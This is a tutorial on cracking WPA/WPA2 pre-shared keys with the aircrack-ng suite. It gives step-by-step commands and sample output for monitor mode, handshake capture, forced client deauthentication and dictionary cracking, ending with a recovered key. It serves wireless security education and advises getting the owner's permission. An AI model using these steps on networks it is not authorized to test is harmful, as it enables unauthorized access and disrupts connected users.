Tutorial: How to Crack WPA/WPA2

Introduction

This tutorial walks you through cracking WPA/WPA2 networks which use pre-shared keys. I recommend you do some background reading to better understand what WPA/WPA2 is. The Wiki links page has a WPA/WPA2 section.

WPA/WPA2 supports many types of authentication beyond pre-shared keys. aircrack-ng can ONLY crack pre-shared keys. So make sure airodump-ng shows the network as having the authentication type of PSK, otherwise, don’t bother trying to crack it.

There is another important difference between cracking WPA/WPA2 and WEP. This is the approach used to crack the WPA/WPA2 pre-shared key. Unlike WEP, where statistical methods can be used to speed up the cracking process, only plain brute force techniques can be used against WPA/WPA2. That is, because the key is not static, so collecting IVs like when cracking WEP encryption, does not speed up the attack. The only thing that does give the information to start an attack is the handshake between client and AP. Handshaking is done when the client connects to the network. Although not absolutely true, for the purposes of this tutorial, consider it true. Since the pre-shared key can be from 8 to 63 characters in length, it effectively becomes impossible to crack the pre-shared key.

The only time you can crack the pre-shared key is if it is a dictionary word or relatively short in length. Conversely, if you want to have an unbreakable wireless network at home, use WPA/WPA2 and a 63 character password composed of random characters including special symbols.

The impact of having to use a brute force approach is substantial. Because it is very compute intensive, a computer can only test 50 to 300 possible keys per second depending on the computer CPU. It can take hours, if not days, to crunch through a large dictionary. If you are thinking about generating your own password list to cover all the permutations and combinations of characters and special symbols, check out this brute force time calculator first. You will be very surprised at how much time is required.

There is no difference between cracking WPA or WPA2 networks. The authentication methodology is basically the same between them. So the techniques you use are identical.

It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.

I would like to acknowledge and thank the Aircrack-ng team for producing such a great robust tool.

Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.

Assumptions

First, this solution assumes:

  • You are using drivers patched for injection. You can sniff the packets with Wireshark to confirm you are in fact injecting.

  • You are physically close enough to send and receive access point and wireless client packets. Remember that just because you can receive packets from them does not mean you may will be able to transmit packets to them. The wireless card strength is typically less then the AP strength. So you have to be physically close enough for your transmitted packets to reach and be received by both the AP and the wireless client.

  • You are using v0.8 of aircrack-ng. If you use a different version then some of the comman options may have to be changed.

Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change “ath0” to the interface name which is specific to your wireless card.

In the examples, the option “double dash bssid” is shown as “- -bssid”. Remember to remove the space between the two dashes when using it in real life. This also applies to “- -ivs”, “- -arpreplay”, “- -deauth”, “- -channel”, “- -arp” and “- -fakeauth”.

Equipment used

To follow this tutorial at home, you must have two wireless cards.

In this tutorial, here is what was used:

  • MAC address of PC running aircrack-ng suite: 00:0F:B5:88:AC:82

  • MAC address of the wireless client using WPA2: 00:0F:B5:FD:FB:C2

  • BSSID (MAC address of access point): 00:14:6C:7E:40:80

  • ESSID (Wireless network name): teddy

  • Access point channel: 9

  • Wireless interface: ath0

You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.

Solution

 

Solution Overview

The objective is to capture the WPA/WPA2 authentication handshake and then use aircrack-ng to crack the pre-shared key.

This can be done either actively or passively. “Actively” means you will accelerate the process by deauthenticating an existing wireless client. “Passively” means you simply wait for a wireless client to authenticate to the WPA/WPA2 network. The advantage of passive is that you don’t actually need injection capability and thus the Windows version of aircrack-ng can be used.

Here are the basic steps we will be going through:

  1. Start the wireless interface in monitor mode on the specific AP channel

  2. Start airodump-ng on AP channel with filter for bssid to collect authentication handshake

  3. Use aireplay-ng to deauthenticate the wireless client

  4. Run aircrack-ng to crack the pre-shared key using the authentication handshake

Step 1 – Start the wireless interface in monitor mode

The purpose of this step is to put your card into what is called monitor mode. Monitor mode is the mode whereby your card can listen to every packet in the air. Normally your card will only “hear” packets addressed to you. By hearing every packet, we can later capture the WPA/WPA2 4-way handshake. As well, it will allow us to optionally deauthenticate a wireless client in a later step.

First stop ath0 by entering:

 airmon-ng stop ath0

The system responds:

 Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:

 lo        no wireless extensions.

 eth0      no wireless extensions.

 wifi0     no wireless extensions.

If there are any remaining athX interfaces, then stop each one. When you are finished, run “iwconfig” to ensure there are none left.

Now, enter the following command to start the wireless card on channel 9 in monitor mode:

 airmon-ng start wifi0 9

Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.

The system will respond:

 Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

You will notice that “ath0” is reported above as being put into monitor mode.

Then enter “ifconfig ath0 up” to bring up ath0 to be used in later steps. This is only required when using madwifi-ng drivers.

To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

 lo        no wireless extensions.

 wifi0     no wireless extensions.

 eth0      no wireless extensions.

 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0

In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.

To match the frequency to the channel, check out: http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels then select the “Wifi Channel Selection and Channel Overlap” tab. This will give you the frequency for each channel.

Step 2 – Start airodump-ng to collect authentication handshake

The purpose of this step is run airodump-ng to capture the 4-way authentication handshake for the AP we are interested in.

Enter:

 airodump-ng -c 9 - -bssid 00:14:6C:7E:40:80 -w psk ath0

Where:

  • -c 9 is the channel for the wireless network

  • - -bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.

  • -w psk is the file name prefix for the file which will contain the IVs.

  • ath0 is the interface name.

Important: Do NOT use the “- -ivs” option. You must capture the full packets.

Here what it looks like if a wireless client is connected to the network:

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 

  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

  00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy                           

  BSSID              STATION            PWR  Lost  Packets  Probes                                             

  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116

Here it is with no connected wireless clients:

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 

  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

  00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy                           

  BSSID              STATION            PWR  Lost  Packets  Probes

Step 3 - Use aireplay-ng to deauthenticate the wireless client

This step is optional. You only perform this step if you opted to actively speed up the process. The other constraint is that there must be a wireless client currently associated with the AP. If there is no wireless client currently associated with the AP, then move onto the next step and be patient. Needless to say, if a wireless client shows up later, you can backtrack and perform this step.

What this step does is send a message to the wireless client saying that that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP. The reauthentication is what generates the 4-way authentication handshake we are interested in collecting. This what we use to break the WPA/WPA2 pre-shared key.

Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following. Open another console session and enter:

 aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0

Where:

  • -0 means deauthentication

  • 1 is the number of deauths to send (you can send muliple if you wish)

  • -a 00:14:6C:7E:40:80 is the MAC address of the access point

  • -c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing

  • ath0 is the interface name

Here is what the output looks like:

 11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]

With luck this causes the client to reauthenticate and yield the 4-way handshake.

Troubleshooting Tips

 

  • Be sure you are physically close enough to send and receive access point packets. Remember that just because you can receive packets from the access point does not mean you may will be able to transmit packets to the AP. The wireless card strength is typically less then the AP strength. So you have to be physically close enough for your transmitted packets to reach and be received by the AP.

Step 4 – Run aircrack-ng to crack the pre-shared key

The purpose of this step is to actually crack the WPA/WPA2 pre-shared key. To do this, you need a dictionary of words as input. Basically, aircrack-ng takes each word and tests to see if this is in fact the pre-shared key.

There is a small dictionary that comes with aircrack-ng – “password.lst”. The Wiki FAQ has an extensive list of dictionary sources. You can use John the Ripper (JTR) to generate your own list and pipe them into aircrack-ng. Using JTR in conjunction with aircrack-ng is beyond the scope of this tutorial.

Open another console session and enter:

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

Where:

  • -w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.

  • *.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.

Here is typical output when there are no handshakes found:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 No valid WPA handshakes found.

When this happens you either have to redo step 3 (deauthenticating the wireless client) or wait longer if you are using the passive approach. When using the passive approach, you have to wait until a wireless client authenticates to the AP.

Here is typical output when handshakes are found:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 #  BSSID              ESSID                     Encryption

 1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

 Choosing first network as target.

Now at this point, aircrack-ng will start attempting to crack the pre-shared key. Depending on the speed of your CPU and the size of the dictionary, this could take a long time, even days.

Here is what successfully cracking the pre-shared key looks like:

                               Aircrack-ng 0.8

                 [00:00:00] 2 keys tested (37.20 k/s)

                         KEY FOUND! [ 12345678 ]

    Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD 

    Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 

    EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
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